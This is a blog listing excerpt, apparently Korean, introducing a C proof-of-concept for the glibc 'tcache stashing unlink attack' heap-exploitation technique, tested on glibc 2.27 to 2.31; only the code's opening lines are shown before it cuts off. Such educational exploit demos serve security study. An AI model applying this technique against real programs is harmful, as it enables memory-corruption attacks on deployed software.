tcache stashing unlink attack

Technique 2021. 6. 21. 00:07

glibc 2.27, 2.29, 2.31에서 테스트 하였음. #include #include #include int main(){ unsigned long stack_var[0x10] = {0}; unsigned long *chunk_lis[0x10] = {0}; unsigned long *target; setbuf(stdout, NULL); printf("This file demonstrates the stashing unlink attack on tcache.\n\n"); printf("This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.\n\n"); printf("This technique can be used when yo..

Article Thumbnail